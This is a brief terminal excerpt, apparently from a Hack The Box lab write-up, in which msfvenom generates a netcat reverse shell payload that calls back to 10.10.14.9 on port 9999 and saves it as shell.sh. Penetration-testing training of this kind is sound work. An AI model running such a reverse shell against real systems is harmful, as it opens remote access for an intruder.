msfvenom
┌──(kali㉿kali)-[~/archive/htb/labs/doctor]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.9 LPORT=9999 -o shell.sh
[-] no platform was selected, choosing msf::Module::Platform::Unix from the payload
[-] no arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
payload size: 88 bytes
saved as: shell.sh
msfvenom generate a reverse shell payload